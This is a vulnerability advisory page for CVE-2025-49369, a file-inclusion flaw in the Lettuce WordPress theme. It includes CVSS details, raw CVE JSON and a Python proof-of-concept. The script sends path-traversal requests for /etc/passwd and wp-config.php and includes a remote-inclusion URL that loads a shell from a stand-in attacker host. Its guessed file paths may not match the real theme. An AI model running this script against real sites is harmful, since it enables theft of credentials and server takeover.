Security Vulnerability Report
中文
CVE-2025-49369 CVSS 8.1 HIGH

CVE-2025-49369

Published: 2025-12-18 08:15:51
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Lettuce lettuce allows PHP Local File Inclusion.This issue affects Lettuce: from n/a through <= 1.1.7.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Lettuce主题 <= 1.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49369 PoC - Lettuce Theme Local File Inclusion # Affected: Lettuce WordPress Theme <= 1.1.7 import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com/' # Local File Inclusion - Read sensitive files local_poc_paths = [ '/wp-content/themes/lettuce/template-parts/file.php?file=../../../../etc/passwd', '/wp-content/themes/lettuce/inc/file.php?file=../../../../wp-config.php', '/wp-content/themes/lettuce/functions/file.php?file=../../../../../../../etc/passwd' ] # Remote File Inclusion (if allow_url_include is On) remote_poc_template = '/wp-content/themes/lettuce/file.php?file=http://attacker.com/shell.txt' print(f'[*] Testing CVE-2025-49369 on {target}') for path in local_poc_paths: url = target.rstrip('/') + path try: response = requests.get(url, timeout=10) if 'root:' in response.text or '<?php' in response.text: print(f'[+] LFI Success: {url}') print(f'[+] Content preview: {response.text[:500]}') except requests.RequestException as e: print(f'[-] Request failed: {e}') print('[*] Testing complete')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49369", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:51.297", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Lettuce lettuce allows PHP Local File Inclusion.This issue affects Lettuce: from n/a through <= 1.1.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/lettuce/vulnerability/wordpress-lettuce-theme-1-1-7-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}